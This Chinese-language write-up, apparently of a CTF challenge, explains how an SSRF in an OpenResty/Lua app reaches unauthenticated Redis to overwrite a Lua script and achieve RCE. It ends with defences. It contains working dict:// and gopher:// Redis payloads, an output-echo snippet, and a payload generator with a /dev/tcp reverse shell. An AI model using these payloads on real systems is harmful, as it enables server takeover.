Lua项目下SSRF利用Redis文件覆盖lua回显RCE
字数 1253 2025-08-22 12:23:19
SSRF漏洞利用Redis文件覆盖实现Lua回显RCE攻击分析
漏洞概述
本文分析了一个基于Lua Web项目的安全漏洞,攻击者可以通过SSRF漏洞结合Redis未授权访问,覆盖Lua脚本文件实现远程代码执行(RCE)。该漏洞存在于一个使用OpenResty(Nginx+Lua)构建的Web应用中,通过精心构造的请求可以完全控制服务器。
环境分析
项目架构
- Web框架:OpenResty (Nginx + Lua)
- 关键组件:
- Lua-cURL:用于HTTP请求
- lua-resty-redis:用于Redis操作
- 配置文件:
- nginx.conf:定义Web服务配置
- main.lua:主处理脚本
- visit.script:包含业务逻辑的Lua脚本
Redis配置
关键安全缺陷:
- Redis运行在本地(127.0.0.1:6379)
- 无密码认证(
protected-mode yes但无密码) - 攻击者可以通过SSRF访问Redis服务
漏洞分析
主要漏洞点
-
SSRF漏洞:
visit.script中的URL参数直接用于cURL请求,无任何过滤- 可以访问内部服务,特别是Redis
-
Redis未授权访问:
- Redis无密码保护
- 可通过SSRF访问
-
Lua脚本动态加载:
main.lua从文件读取并执行##LUA_START##和##LUA_END##之间的代码- Redis可覆盖
/scripts/visit.script文件
攻击链条
- 通过SSRF访问本地Redis服务
- 利用Redis配置修改能力,设置工作目录为
/scripts/ - 将恶意Lua代码写入
visit.script - 触发Lua脚本执行,实现RCE
漏洞利用
利用步骤
-
清除Redis数据:
dict://127.0.0.1:6379/flushall -
设置Redis工作目录:
dict://127.0.0.1:6379/config:set:dir:/scripts -
设置保存文件名:
dict://127.0.0.1:6379/config:set:dbfilename:visit.script -
写入恶意Lua代码:
dict://127.0.0.1:6379/set:a:"\x23\x23\x4c\x55\x41\x5f\x53\x54\x41\x52\x54\x23\x23\x6f\x73\x2e\x65\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x22\x29\x23\x23\x4c\x55\x41\x5f\x45\x4e\x44\x23\x23"(十六进制解码后为:
##LUA_START##os.execute("cmd")##LUA_END##) -
保存到文件:
dict://127.0.0.1:6379/save
回显技术
当目标不出网时,可以通过以下方式回显命令执行结果:
local handle = io.popen('/readflag')
local output = handle:read("*a")
handle:close()
ngx.say("<html><body>")
ngx.say("<h1>Command Output:</h1>")
ngx.say("<pre>"..ngx.escape_html(output).."</pre>")
自动化工具
可以使用修改版的gopherus工具生成攻击payload:
import urllib
def get_Redis_LuaShell():
file="visit.script"
dir="/scripts"
cmd = '##LUA_START##os.execute("bash -c \'sh -i &>/dev/tcp/ip/port 0>&1\'")##LUA_END##'
len_cmd = len(cmd) + 5
payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$""" + str(len_cmd) + """\r
""" + cmd + """ \r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$""" + str(len(dir)) + """\r
""" + dir + """\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$"""+str(len(file))+"""\r
"""+file+"""\r
*1\r
$4\r
save\r
"""
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
print "gopher://127.0.0.1:6379/_" + finalpayload
防御措施
-
SSRF防护:
- 限制URL参数只能访问特定域名或IP
- 禁用危险协议(file://, dict://, gopher://等)
- 使用白名单验证URL
-
Redis安全:
- 设置强密码
- 启用protected-mode
- 绑定特定IP
-
Lua脚本安全:
- 避免动态执行未经验证的代码
- 对脚本内容进行严格校验
- 限制文件写入权限
-
其他措施:
- 启用lua_code_cache提高性能和安全
- 使用最小权限原则运行服务
- 定期更新OpenResty和依赖库
总结
该漏洞展示了SSRF如何与其他配置缺陷结合形成严重的安全威胁。开发人员应当:
- 永远不信任用户输入
- 最小化服务暴露面
- 实施深度防御策略
- 定期进行安全审计
通过多层次的防护措施,可以有效防止此类攻击的发生。